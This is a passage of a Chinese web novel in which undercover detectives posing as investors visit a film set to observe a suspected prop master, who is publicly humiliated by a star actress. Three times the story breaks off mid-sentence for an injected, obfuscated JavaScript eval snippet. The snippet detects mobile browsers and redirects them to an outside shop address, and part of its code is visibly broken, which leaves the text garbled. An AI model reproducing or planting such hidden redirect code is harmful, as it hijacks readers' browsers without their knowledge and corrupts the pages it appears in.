夏青迟疑地摇摇头:“应该不会。” 徐长嬴道:“这个糖不好吃,回头给你买草莓味的,你回家可以练练。” 夏青点点头:“好。” 他们不远处的宋瑜立大声道:“你早说唐攸宁我不就知道了,哎哟,那个唐家少爷啊,唐家和李家一样生了几十个儿子孙子,终于生出一个优性了,铁定是继承人了吧。” 这时邵巧巧推门进来,身上穿着新裙子,看上去清新可爱,跑到余梅面前:“梅姐!” 余梅大声赞叹道:“真是漂亮的我眼都花了巧巧!” 徐长嬴这时站起身笑着看着邵巧巧:“邵女士,今天的投资之旅就您带队吧,我俩给你当秘书和马仔。” 班杰明好奇道:“谁是秘书谁是马仔?” 徐长嬴指了指夏青:“秘书。” 又指了指自己:“马仔。” 众人都被逗笑了,徐长嬴看向夏青道:“行吗?夏秘书?” 夏青点头:“没问题。” 21. 分头行动(下) 实际上,重案组也并非一定要亲自去观察吴奇泽,只是吴奇泽的工作确实比较特殊——作为道具师的他现在每天都在电影《风雷》剧组里工作,刑侦二队的警员不能深入复杂的剧组里观察,所以一两天下来只能看着他上班下班。 夏青和徐长嬴一致认为吴奇泽有嫌疑后,夏青便提出要不要去实地看一看吴奇泽的工作环境,严建柏等人当然是觉得有机会肯定不能放过,于是夏青的秘书一夜之间又联系好了《风雷》的制片方,第二天徐长嬴等人就能以投资方的身份进组。 所以现在就兵分两头,赵洋一队进入庆元工业园区寻找失踪的货车,而夏青徐长嬴一队进入《风雷》剧组观察吴奇泽。 正是雨后天晴的好天气,《风雷》今天在码头的摄影棚里拍外景,刚在停车场下了车,一个中年男alpha就迎了上来,他先自我介绍自己是《风雷》的制片人,便开始热情地和投资小组轮番握手,身为人精的他压根不需要一旁的夏青的张秘书介绍就准确地找出了夏青,一直死死握着他的手握了快一分钟,徐长嬴青筋都要被他握出来了才放手。 最后一位神奇秘书姓张,他简明骇要地对说夏总他们对剧组现在的拍摄工作感兴趣,这个叫乔平的制片人立刻就带着制片团队领着四人就进了摄影棚。 “徐哥,”邵巧巧悄声道,因为在出外任务所以不能叫警官,“梅姐不是说这个剧组主制片人很有钱吗?这人怎么还这么热情呀?” 徐长嬴压着声音:“拍电影这种事,钱只有不够花,从来没有嫌多的。” “对吧,”徐长嬴对着夏青笑道。 夏青突然被问,眨了眨眼睛,“应该是。” 穿过行色匆匆的许多人和杂乱摆放的设备,几人来到了一个大屋子里,看上去是大仓库改的摄影棚。乔平向众人边走边介绍,“这是我们的美术组,我们请来的是新加坡和国内最好的团队,”“这是我们的灯光组,您抬头可以看,那是我们布光师工作的台子……” 几人就像走马观花一样穿梭在不同的团队和房间里,乔平明显知道钱在谁那,每说一句都热切地观察着夏青的表情,只是苦了他,夏青脸上能有什么表情让他揣度的。 很快,几人走到一个大房间,“这是我们道具组的工作室,我们道具组组长是国内现在爆破第一人晁正信,他的爆破经验有三千多次,绝对能够保证拍摄的安全和效果——” 徐长嬴望着硕大一个房间内堆满了各式各样的设备和道具,但是没看见几个人,便问道:“道具师们现在在忙吗?” 乔平被突然打断,愣了一下,瞥了一眼这个长相还行的beta,但心里的不悦很快被强行压下去,热情回道:“是的,咱们马上就进外景,那里我们的女二高亦巧高小姐正在拍爆破戏,很精彩的,正好夏总咱们赶上了。” 果真,没走一会儿,徐长嬴就觉得眼前一亮,他们来到了室外,屋子将硕大的空地围了三面,三面绵延一百多米都是人墙,这时徐长嬴听见扩音喇叭里喊了一声“action”,眼前的空地就沙土四溢,枪火声如上百挂鞭炮同时炸了起来。 徐长嬴没做好心理准备,手下意识就按腰侧了,一只手轻轻按住了他的胳膊,徐长嬴的心突然静了下来,他对着夏青不好意思笑了笑,比着口型:“没带。” 不远处一个身影在空地上翻滚着,邵巧巧捂着嘴巴:“这么敬业的吗?我要粉她了。” 边上一个看上去像场记的女生看了她一眼,神色不明,邵巧巧正疑惑着,徐长嬴笑着小声道:“笨,那一看就是替身,有咖的怎么会这么滚。” 邵巧巧脸慢慢涨红了,徐长嬴大大咧咧地安慰道:“你害羞什么呀,害羞的该是演员。” 这下前面站着的工作人员都转头看他们一眼了。 徐长嬴一脸莫名其妙地回望他们,一副我说的不对吗的神情。 就在这时,一场枪战戏结束了,导演组似乎不太满意,于是执行导演又对着喇叭道:“重来一次!” 戴着帽子蒙着面的道具组人员们又冲进空地,重新在大太阳底下布设火药设备。 徐长嬴的眼很尖,一下就认出了左边领头的那个正是吴奇泽,他碰了碰夏青的肩膀,示意夏青看过去,夏青看见那个身影后,微不可查地点了点头。 吴奇泽今年三十四岁,干道具师已经快十年了,通过公安系统能直接看到他的性别是比较少见的劣性alpha,应该是信息素释放和控制能力比较弱,但是徐长嬴等人远远看过去,发现这个男人的手脚非常麻利,业务水准很明显要强于道具组里的许多人。 替身就这样在尘土和爆炸里滚了五六次,吴奇泽他们道具组也布置了五六次,看得徐长嬴等人都冒汗,终于在徐长嬴他们到来后的第六次,导演组们才喊停,女二高亦巧这才出场,她身边有三四个助理负责整理妆造和打伞,导演喊准备了,助理们才撤下去。 高亦巧并不需要在炮火里滚,只是在太阳底下滚两个镜头,衔接同样光照和背景下的替身戏份,导演并没有让高亦巧多滚几次,每个镜头拍了两遍就过了,每次喊过了下一秒举着伞的助理就蜂拥而至,疯狂给Omega女星喷防晒喷雾。 而高亦巧的镜头拍完后,上午的外景就结束了,人员开始陆陆续续去搬设备,大概是要移到下一个拍摄场地,而徐长嬴正在转头找道具组的时候,导演组直直穿过人群走了过来。 徐长嬴其实见过顾阳封,当然对方没见过他,一行人在众多忙碌的工作人员的注视里走到夏青的面前,包括主导演、现场导演和制片人在内的四五个核心人员都表露出极大的热情和一副受宠若惊的神情。 顾阳封五十岁左右,alpha,是个老江湖,不仅和夏青握手,还恭恭敬敬地和徐长嬴邵巧巧等人一一握手自我介绍。 顾阳封道:“夏总您突然大驾光临,让顾某真的受宠若惊,要是知道您来了,我应该刚刚再多卖力些。” 夏青神情平静道:“朋友喜欢,就来看看,您客气了。” 边上的另一个制片人喜不自禁道:“兴安还从未有过投资影视的先例,而且夏总您今天居然亲自来现场,这实在是《风雷》有幸,不知道夏总您还有什么想要了解的,我们带您走一圈,马上中午用饭不知您是否能赏脸移至边上我们定的酒店……” 徐长嬴道:“我们现在可以去后台看吗?” 制片人流畅无比的词突然卡壳了,他目光移到这个毫无信息素味道的beta身上,这时他发现这个beta长得也很英俊,只是脸上的嚣张笑容让他心生厌恶,不过碍于夏青的面子,他勉强点头道:“当然可以。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049267|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏青道:“那就辛苦了。” 制片人和导演们的脸上又重新挂满了笑容:“这边请这边请,小心脚下,夏总。” 徐长嬴和夏青并排走在前面,他回头问那个制片人:“现在道具组在干什么?我刚刚看那个爆破戏好精彩。” 边上的执行导演回道:“道具组今天有个重量级的活儿,现在应该在准备给主演倒模,夏总您可以参观一下,挺有意思的。” 邵巧巧有些小声道:“倒模是什么呀?” 徐长嬴转过头,对她耐心道:“倒模就是特效化妆的一种,就是将演员的脸部或者某个器官的形状给用特殊材质给印下来,再用硅胶其他材质模拟做一个一模一样的,比CG做要便宜和逼真些。” 顾阳封笑道:“这位徐先生是行家呀,您也是电影行业的吗?” 徐长嬴朗声笑道:“门外汉而已,就嘴皮子功夫。” 邵巧巧道:“那现在是不是在给谢忆南和卓宾白倒模呀?” 制片人道:“没错,男女主现在都在化妆间里呢,这位小姐是不是很喜欢我们忆南和宾白?正好咱们和他们去合影去。” 徐长嬴看了看邵巧巧,看见她脸蛋红彤彤的,一脸期待,想着就算这次没什么发现,也不算无趣白来一场。 徐长嬴思虑一动,他凑到夏青边上嘻嘻笑道:“夏青你喜欢哪个演员?刚刚的高亦巧也很漂亮。” 夏青听见他的调侃,垂着眼想了一秒又抬起眼望着他,反问道:“你喜欢哪一位?” 徐长嬴坦然道:“我都很喜欢,漂亮的人我都喜欢。” 夏青“嗯”了一声,就不说话了,也不回答,徐长嬴其实也很好奇他这么多年难道感情状况真的白纸一般,但看他这闷葫芦模样,心里未免有些波澜。 人非草木,徐长嬴其实本就早有预期。 他身旁和身后的导演队伍倒是一直在腹诽这个自信爆棚的beta到底什么来头,心思倒是挺花的。 码头这个摄影棚是这个月刚搭的,规模不算大,五分钟就走到化妆间了,制片人赶在夏青等人面前殷勤地拉开化妆间的门。 门一拉开,尖利高昂的骂声就如声浪一样迎面冲了上来:“你会不会干活!我已经等了你们等了一上午,你不能干就赶紧给我滚!有的是人来干!” “南姐,我们刚刚在出外景走不开,我们这个头套就是这样缠的,我让他再小心点,您消消火。”一个中年男人的卑微讨好声音响起。 徐长嬴凑热闹的天性被激活了,带着夏青就往人群里挤,他个子高往前走一步就看见人群中的道具组组长带着身边三四个人对着化妆镜前一个容貌艳丽的女人点头哈腰。 那女人就算脖子上围着塑料薄膜也掩盖不住其出众的美貌,她一手叉着腰,一手竖着食指点在一个道具师眼前,声音尖利又刻薄:“你们道具组能力就这么差吗?高亦巧一个替身戏要你们全员出动?还有他!他扯我头发就算了,你这个alpha怎么管不住你的信息素,都让我闻到了!你这是性骚扰知道吗!你以后别在这个行里干了!我看谁敢再用你!” 邵巧巧目瞪口呆:“那、那是谢忆南吗?” 徐长嬴也是叹为观止,又缓缓摇了摇头,喃喃道: “不会吧,我真服了赵洋那张破嘴。” 22. 剧组纠纷(上) 彼时快到11点,因为早上的重头戏已经拍完,化妆间里人员来来往往都是在收拾道具和戏服,还有几个拍花絮的摄影师扛着设备候在一旁,而两个主演的团队和道具组则都聚在化妆镜前,加起来至少有二十来个人,也亏这个庞大的化妆间能挤得下。 而此时靠在外围打杂的人员已经瞥到导演竟然来了化妆间,不由得都变了脸色低头问好,快步离开是非之地,乔平几个制片人的脸色都有些僵了,没想到夏青这个大人物刚来剧组就撞见一姐发脾气。 徐长嬴和夏青其实没来得及想特别多,他们也觉得很巧,居然能撞见主人公——吴奇泽的纠纷现场。 吴奇泽身上穿着军绿色的T恤,戴着一个半新不旧的帽子,手上还拿着准备倒模的头套绷带,整个人像一只在热水里蜷缩起来的虾一样弓着背,缩着脖子,面上和耳朵均是一片潮红,与脸上仿若发光的谢忆南和卓宾白就像身处两个不同的图层。 谢忆南气得呼吸都急了,她身边的经纪人和助理则很快接过力来训斥吴奇泽和他身边的道具组,那最前面的高个子男人应该就是所谓的爆破一哥晁正信,此时也是手足无措,陪着吴奇泽不停鞠躬道歉。 一旁的卓宾白和他身边的经纪人则开始轻声聊着天,时不时小声笑着,他是个极其俊朗的男alpha,年纪比谢忆南要小六七岁,他这样的人只要脸上带着笑就很招人喜欢,很快,他就被排除在闹剧之外。 谢忆南经纪人是个男alpha,指着吴奇泽大骂道:“你这样的人品太龌龊了,性质太恶劣了,你连信息素都管不住怎么能为演员明星们工作,你以为你做的是什么性质的工作!” 晁正信劝道:“做倒模时候靠的很近,难免会闻到,这也不是他自己想的,我们工作的时候芯片等级都是调到最高,我已经让人去拿除味剂了,您这边消消气,倒模还是演员最辛苦,南姐您别气着……” 谢忆南皱着眉头厌恶道:“糊鬼呢,调到最高还漏这么多味道,信息素味道还这么难闻,你是劣质吧,真是倒霉,这世界上也没几个劣等货,还敢放我身边!” 这句话一出,在场所有人脸色都变了,谈论他人信息素等级和味道是当今社会里的大忌,更何况当众羞辱他人是劣质alpha。但下一秒,被侮辱的吴奇泽只是浑身一抖并没有反驳,看上去居然是被说中了。 落在吴奇泽身上的目光不由得多了几分同情和轻视。 “如果是劣质,怪不得,但他也不是故意的呀。”一个化妆师在人群里小声道。 “确实,但知道自己是劣质还在演员面前工作确实也是他的不对。”议论的声音像是风穿过树林一样窸窸窣窣多了起来。 “所以演员为什么不能闻到信息素呀?”一个大大咧咧的声音突然响起。 众人闻声一惊,谢忆南也抬起头看过去。 徐长嬴正回头问着脸色铁青的乔平,见着所有人都看向自己,便纳闷地四处看了看,又看向谢忆南,“看我干什么,我问的问题很奇怪吗?” 徐长嬴夏青邵巧巧三人站在人群后围,他和夏青个子又高,长得又显眼,一时挡住了谢忆南看到顾阳封等人的视线,谢忆南的男经纪人气不打一处来,喝道:“你谁啊你!有你说话的份吗?你算个什么东西!” 徐长嬴不仅不生气还扯出三分笑意来,他歪着头道:“我是来看热闹的,我不懂所以我在问人,那您能告诉我为什么演员不能闻别人信息素吗?” 男经纪人见徐长嬴长相不凡,下意识以为他就是一挑事来出风头的alpha,便恶声恶语道:“你个alpha从小到大没爹妈教你不能在Omega面前释放信息素吗!一点教养都没有。” “哦你早说呀,”徐长嬴笑眯眯道。“我是个beta我又不太清楚,不过人家刚刚不算主动释放信息素吧,电视上信息素芯片的宣传语不也是保证3米开外才闻不到吗?还是说演员有什么禁令不可以闻别人信息素?” 谢忆南等人本来还在害怕他有什么来头,特别是他身边站着的夏青不仅长相惹眼、气质出众,而且总有些眼熟,但是一听到这人只是个beta,不由得就放下心,谢忆南的助理指着徐长嬴的鼻子骂:“你一个beta废话那么多干什么?你又不是alpha!让Omega闻到信息素不礼貌这谁不懂,你装什么傻!” 徐长嬴摊摊手:“原来只是礼貌问题呀,我刚刚听了一路热闹,我以为你们演员明星圈子不讲究礼不礼貌呢,亏我还以为是有什么我不知道的行业潜规则。” 这句话一出,几乎是拐着弯把谢忆南一圈人都骂了一遍,邵巧巧一边心惊胆战一边崇拜地看向徐长嬴,她瞥了一眼夏青,只见他只是静静地看着徐长嬴,没有什么表情。 谢忆南将手中的手持镜往地下一砸,厉声道:“场务呢!这是什么人!谁放进来的,什么阿猫阿狗都能进摄影棚的吗!你们怎么管的人,今天我看你们都别干了!” 玻璃破碎的声音让边上自拍的卓宾白吓了一跳,他伸了伸脖子,对着摄影师笑道:“吓我一跳。” 徐长嬴抱着胳膊,对着邵巧巧笑着,声音依旧不大不小:“得了,不如她的alpha是劣等品,我们beta还连人都不是,是猫猫狗狗了,你们演员规矩还挺稀奇的。” 夏青却突然转过身对徐长嬴道:“别听他们说话。” 徐长嬴望着夏青微微蹙起的眉头,心里想着他就是故意嘴欠损人呢,夏青怎么比他还玻璃心,刚想要小声宽慰他两句,就被赶来的男场务和谢忆南助理拨开人群拽住了胳膊。 他还没反应过来,下一瞬间夏青就已经反手捏住了男场务的胳膊,而张秘书也以同样的速度拽住了那助理的手,两人几乎还没摸到徐长嬴就吃痛地松开了手,因为这一切发生的太快,过了一秒乔平才恼火地怒道:“都散开!谁让你碰夏总的!” 众人回头这才发现,顾阳封等导演和制片人都站在人群后面,场务和谢忆南助理都愣住了,夏青见他们不再反抗才放开那场务,张秘书也跟着松手,但还是谨慎地盯着这两人。 徐长嬴心里一惊,这两人怎么动作比他和邵巧巧还快。 谢忆南等人看见导演来了,这才收起了脾气,但是在国内电影剧组里,人员早就被划分阵营和等级,第一等向来是知名的演员和其心腹,第二等是导演、制片人等电影技术阵营,第三等就是小演员、群演和打杂的人员。 所以谢忆南等人并不怕顾阳封和乔平等人,只是脸色缓和了些,卓宾白还笑着和顾阳封打招呼,一脸的若无其事,丝毫不觉得气氛不对。 乔平等制片人却顾不得去处理谢忆南和吴奇泽的纠纷,而是围着夏青不断道歉解释,“剧组里的小纠纷,还请夏总别往心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049268|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,这边环境太乱,人员也杂,空气也不好,我们出去休息一下吧。” 趁着夏青被围着,一旁的徐长嬴和邵巧巧低头说着小话:“刚刚我说那话是故意惹那助理的,你别往心里去。” 邵巧巧似乎一点没觉得被中伤,反而有些痛快地笑嘻嘻的:“我知道徐哥你的意思,可惜我没有你那么帅,我不敢这么说话。” “你不该和我道歉,”此时挡在两人面前的夏青冷冷道。 徐长嬴和邵巧巧闻言抬起头,徐长嬴见夏青的目光落在自己的身上,那目光复杂,让他一时看不出夏青眼中折射的情绪,只听见夏青面色如霜,又寒声道:“你应该让你的员工和我的朋友道歉。” 徐长嬴和邵巧巧这么多天来,第一次听到夏青语气如此重的说话,本来在嘻嘻哈哈的两人被他身上那股强烈的气势感染地瞬间收起了笑容,顾阳封这时立刻开口了:“还不向徐先生和邵小姐道歉,于则你们也过来!” 于则就是谢忆南的经纪人,他此时也看出站在一旁没说话的青年他们虽然不认识,但是个不能得罪的人,他混演艺圈多年,早已是人精,立刻就带着助理等人走了过去,无比干脆利索地对着徐长嬴低头道:“徐先生,这位小姐,我们刚刚情绪失控,冲撞了你们,还请见谅。” 徐长嬴被这人的一秒变脸给吓了一跳,他虽然也插手电影前期准备,但从来没有参与过实地拍摄,所以完全不清楚这些人的社交习性,而且他其实最擅长挑事,但是不擅长得理不饶人,对方突然诚恳道歉,让他反而有些不好意思了。 徐长嬴摸了摸头发:“这些小事犯不着道歉什么的哈哈哈——那你们今天还倒模吗?我还想看倒模呢。” 此话一出,当事人于则和看热闹的人都无语了,心里想着这来历不明的beta大概精神不正常,怎么还真的是专门来看热闹的。 乔平连忙热情道:“当然当然,这个很快的,正信,你们那边准备好了吗?” 很快人群被制片人等人遣散了,道具组又开始继续准备工作。 徐长嬴回头看了看夏青,夏青却只和他对视一眼,又移开了视线,徐长嬴眨了眨眼,凑近了些笑道:“怎么突然那么生气。” 夏青不去看他。 徐长嬴一愣,这是在生他的气? 徐长嬴又道:“我惹你不高兴了吗?” 夏青这才转过脸看向他,定定地看了好一会儿才闷声道:“没有。” 徐长嬴却有些呆滞住了,他望着夏青微微垂着的眼,好看的眉微微蹙着,像是在思索什么难题,不知不觉28岁夏青的脸与17岁夏青的脸重合了起来。 徐长嬴试探道:“你不喜欢我说的话?” 夏青没有说话。 徐长嬴一把搂住了他的肩膀,柔声笑道:“那我以后就不说了,我保证。” 夏青瞳孔微张,面上的冰霜悄无声息地融开,他像是有些不适应被人这么亲密地触碰,但是又不表现出为难的神色,只是仍由自己被徐长嬴亲亲热热地搂着。 “好。” 徐长嬴没想到自己自嘲一下性别,身边的这个极优性alpha比beta小姑娘还玻璃心,而且更难哄。 只是,这一点又有点太像以前的夏青了。 齐枫的话再次萦绕在徐长嬴的心头,让他心里潮乎乎的有些难受。 23. 剧组纠纷(下) 经过一段颇为激烈的小插曲,身为男主的卓宾白大方地主动要求道具组先给自己倒模,他话音刚落,剧组里三个摄像师就扛着机子团团围住他,一瞬间就将近中远景的花絮全安排上了,让徐长嬴好生见识了一下当红明星的待遇。 做倒模准备的时候卓宾白还一直在和助理经纪人包括摄像师都有说有笑。而在道具组里,吴奇泽看上去是倒模工作的主力,所以还是由他给卓宾白箍头发带头套,接着调试倒模剂。 “倒模上脸后要多久?”吴奇泽搅着倒模剂听到一个男人笑着问道,他一愣,抬起脸就看见徐长嬴的脸。 吴奇泽有些慌张道:“封上口鼻就不到一分钟,三十来秒。” 说完,他还有些感激地看了一眼徐长嬴,他也知道这个不认识的男人方才是在给自己解围和出气,看上去他似乎还想和徐长嬴说上几句,但他为人木讷怎么都寻不到开口的契机,于是又红着脖子沉默着干活了。 邵巧巧站在徐长嬴身后,他们离卓宾白太近了,邵巧巧脸红扑扑的,还是有点不敢看这个一线男星的脸。 卓宾白今年27岁,科班出身的alpha男星,近两年才从歌手转型成演员,属于很红的年轻小生,在娱乐圈还算第一梯队,如果不是出这种特殊任务,普通人根本没有任何机会这么近距离接触到他。 此刻他们剧组一日游小队里,两个人一脸好奇地看着吴奇泽调配倒模剂,另外两个人如冰山一样守在他们俩身边,乔平等三个制片人和现场导演很想上来和夏青说话,但是又碍于他和张秘书那骇人的气势,不知怎么开口,就也跟在一边。 卓宾白一副热情开朗的阳光帅哥形象,他一边等待倒模,一边率先对着徐长嬴身后的邵巧巧道:“这位小姐姐,你们是来投资我们电影的吗?谢谢支持哦。” 邵巧巧没想到他会主动和自己搭话,立刻慌乱地看了看夏青和徐长嬴,点点头磕巴道:“对,对,我是和夏——夏老板一起来的。” 话音刚落,徐长嬴就笑出了声,他扭过头看着夏青,一脸揶揄,夏青面上露出了一丝疑惑的神情,似是不知道他的笑点。 乔平终于找到话头,立刻在边上说:“这可是兴安集团的夏青夏总,看重我们的电影今天才过来的。” 卓宾白的脸上闪过一丝讶异,便将所有的注意力都放在了徐长嬴边上的夏青身上,他那还带着笑意的眼中满是打量,立刻埋怨乔平道:“乔总您怎么不早说呀,我心里还纳闷这么有气质的帅哥怎么突然到我们剧组呢!” 不仅是他,化妆台一圈的人都听到了夏青的大名,不由得有些骚动起来,而卓宾白立刻向夏青伸出手:“夏总您好,久仰大名,没想到您会对我们风雷感兴趣,怪我眼拙一时没有认出您。” 夏青握了握他的手,神色疏离道:“幸会。” 卓宾白还要说什么,这时吴奇泽却在一边道:“倒模准备好了,白哥您现在可以吗?” 徐长嬴连忙兴奋道:“这就要开始了吗?” 被突然打断的卓宾白的脸色瞬间晦暗不明,他眼神复杂地看了一眼站在他身边的劣质alpha,又看了看夏青身边一脸兴奋的beta男人,只得点点头,一副洒脱的表情道:“来吧。” 倒模的时候,徐长嬴很配合地往后退了几步,只见道具组的人将白色的半固体物一点点糊在卓宾白的脸上,最终在三台摄像机的注视下,几人才将卓宾白的口鼻封住,并在三十秒后立刻将倒模取下,周围瞬间爆发出掌声,剧组的化妆师和卓宾白的团队都一副劫后余生的感叹模样。 邵巧巧红着脸看得起劲,徐长嬴突然笑道:“你害羞什么呀,夏老板不比他帅多了 。” 夏青闻声转头看向他,徐长嬴冲他眨了眨眼。 邵巧巧一脸恍然,后知后觉道:“对哦,可我一直没好意思仔细看夏老板,所以一时忘了。” 徐长嬴乐得差点倒在夏青身上,夏青也随他拿自己消遣,倒是张秘书悄悄多看几眼徐长嬴和自己老板。 吴奇泽的速度比他们想的要快多了,不到半小时卓宾白这边就完事了,但是谢忆南此时和顾阳封等主创还坐在隔壁的休息室里。晁正信手上都是倒模泥,有些为难地看向乔平,道:“乔总,要不您帮我们问问南姐吧?下午两点还有外景戏,我怕赶不上进度。” 乔平点点头,但他随即转向夏青问道:“夏总,我看时间有点晚,要不我们保姆车带您和顾导去酒店吃饭休息吧,这也到饭点了。” 夏青只是扭头看向徐长嬴,乔平等人也跟着看向徐长嬴,徐长嬴于是看着夏青:“你饿吗?” 夏青摇摇头:“不饿。” 徐长嬴道:“不饿咱们继续看呗,难得看人家拍电影。” 夏青点头:“好。” 于是张秘书对着乔平道:“我们暂时不用饭。” 乔平等一众人算是看明白了,这个不着调的beta才是夏青等人的主心骨,不由得将打探的目光多放些在他的身上。 出乎意料的是,乔平很轻松就将谢忆南重新请了出来,谢忆南已经在休息室里知道了夏青的身份,再次出现的时候她的面上已经满是和煦的笑意,衬得她那张精致秀美的面庞宛若在发光,与之前横眉竖眼的凌厉女人完全是两个人,倒是把邵巧巧又吓得不轻。 徐长嬴悄声损道:“抛开素质不谈,这业务能力不能黑人家,你回头还是帮齐枫要个签名照。” 站在他身后的张秘书将他的话听得一清二楚,没忍住偏过脸轻笑了起来。 原来夏青的神奇秘书也会笑,那他们三个平时的扑克脸不会是为了迎合老板性格喜好故意装出来的吧,徐长嬴又有些阴暗的想到。 谢忆南还是有些顾忌刚刚发疯的徐长嬴,没有特别热情地与夏青交谈,并且在看到吴奇泽时脸上依旧不好看,只是她一改之前的泼辣风格,安稳坐在椅子里,娇美的脸上露出些无奈和委屈,最后小声道:“我就只忍一会儿。” 这次给她缠头套和做准备的是道具组的其他人,但吴奇泽作为技术核心,到了最关键的上模料的时候还是得他来,因为之前被当众羞辱过,操作的时候吴奇泽脸和脖子又是通红一片,几乎是憋着气,大气也不敢出,邵巧巧看着他都觉得十分心酸,但是在剧组这个特殊的等级分明的环境里,也只有他们这些外人才会思及小人物的不易。 夏青的注意力仍然全在吴奇泽身上,很快谢忆南的头部倒模完成了,吴奇泽松了一口气,而化妆间又一次爆发出掌声,卓宾白站在谢忆南身边为她鼓掌,两人有说有笑,这时谢忆南又瞥了一眼夏青,看着退到一边让其他道具师做剩下手部倒模的吴奇泽,突然开口道:“那个谁,你继续来给我做倒模吧,我看你技术还行。” 吴奇泽脸上满是惊诧,但晁正信朝他使了眼色,他立刻点头:“好的,谢谢南姐。” 谢忆南的目光如秋水一般轻轻落在夏青的脸上,但夏青的目光却一直在吴奇泽身上,女星的脸上露出些失望。 倒模工作结束也已经十二点多了,剧组开始分盒饭,乔平已经是今天第五次向夏青推荐那家可以看见海景的五星级酒店了,然而夏青在乔平和顾阳封等人的目光中再一次看向徐长嬴。 乔平已经麻木了,但他还是充满希冀地看着徐长嬴,只是最后还是听见这个beta无情道:“那咱们也吃盒饭吧,不是说下午一点就要赶下一个外景了吗?” 乔平只能满脸晦气地让人将导演休息室收拾出来,让这个兴安集团的准继承人坐在里面吃盒饭。 张秘书拒绝了乔平等人陪着吃盒饭的请求,于是硕大的休息室只剩下四人。 休息室里有个大书桌,还有小茶几,各有两个位置,徐长嬴下意识拉开书桌的椅子就让夏青坐下去,但夏青却端着盒饭坐在茶几边上的矮沙发上,于是徐长嬴对着张秘书展颜一笑:“你和巧巧坐这吃吧。” 张秘书还没反应过来,就见自家老板和徐长嬴挤在矮沙发上,一起打开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049269|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭盒,他那与老板同款的扑克脸上不禁染上了慌乱之色,叫道:“夏总,徐先生你们怎么坐那?” 夏青抬起头,神情不变道:“你坐下吧。” 于是张秘书只能拉开书桌边上的两个皮椅,让巧巧先坐下,然后自己也坐下来。 徐长嬴吃饭速度奇快,剧组给他们点的是二百三十块餐标的日式鳗鱼鹅肝料理,夏青刚吃到三分之一的时候,徐长嬴已经将最后一块鹅肝和米饭扒完了。 夏青端着盒饭的手一顿,抬头看向开始摸薄荷糖的徐长嬴,道:“为什么吃这么快?” 徐长嬴嗑出两粒薄荷糖,抬起头:“以前上学的时候养出来的坏习惯,一直没改。” 夏青正色道:“对胃不好。” 徐长嬴笑着看着他,道:“我努力改。” 说罢,他伸了一个懒腰:“这一上午看上去,虽然啥也看不出来,但硬要说反正能找到犯罪动机了。” 邵巧巧一愣,抬起头:“徐哥,你还觉得吴奇泽有嫌疑吗?我今天看他人还不错呢,怎么都看不出他是凶手。” 徐长嬴平静道:“但没有证据能排除他的嫌疑,而且你看他的工作和生活环境那么恶劣,被各种歧视排挤,报复社会的动机都有了。” 邵巧巧发现了徐长嬴的思维总是要比其他人要下沉,或者说阴暗的多,简直就是贴近真正的犯罪者。 邵巧巧尝试思考了一番,她点点头:“确实,今天我只待了一小会就感觉这种环境太压抑了,而且我也根本没想到谢忆南这样的大美女原来脾气这么坏,好吓人也好伤人,我之前还挺喜欢她的,结果感觉这么多人里就卓宾白好点。” 徐长嬴靠在沙发上,听到她的评价,扭过头不以为意地笑道:“是吗?我倒是觉得谢忆南还好,卓宾白更讨人厌。” 张秘书闻声也忍不住抬起头,徐长嬴见他们流露出疑惑的神情便坐直了身体,耐心解释道:“我认为想要快速粗略评判一个人的人品,需要同时结合他的举止和他的处境——alpha和Omega虽然都是第二性别群体,但处境完全不一样,因为虽然社会资源向第二性别倾斜,但第二性别内部的Omega由于生理和历史因素,一直以来只是alpha的附庸角色,所以alpha才是社会的真正掌权人,而Omega手中的权力是虚假的。” “处境不同,同一品德标准下的行为要求就不同。例如谢忆南肆意侮辱性别等级低的工作人员,其底层逻辑是维护和强调自己作为第二性别的特权地位,这虽然令人不齿,但也暴露了Omega不同于alpha的处境——alpha就不需要强调自己的特权身份,他们只需要站在一旁看着Omega侮辱弱者,自己不需做任何事就坐享其成,而且还能捞个好名声。反过来想,如果卓宾白的人品高于谢忆南,他又怎么会若无其事地在一边假装看不见同一权力阵营的霸凌行为?” “在性别迫害行为发生时,旁观者的默许等于共犯,更高权力群体的默许则与主犯没有区别了。” 邵巧巧和张秘书都愣住了,半晌,邵巧巧有些感叹道:“原来我这么肤浅吗?” 徐长嬴一本正经笑道:“这怎么能算得上肤浅呢?能感同身受地去体会弱势者的心情说明你跳跃出了既定的社会权力思维,已经是个反叛者了。” “所以,”徐长嬴靠着沙发,看着天花板所有所思道,“赵秀贞已经算他们全家道德素质的第一名了,这样一想还真是可怕。” 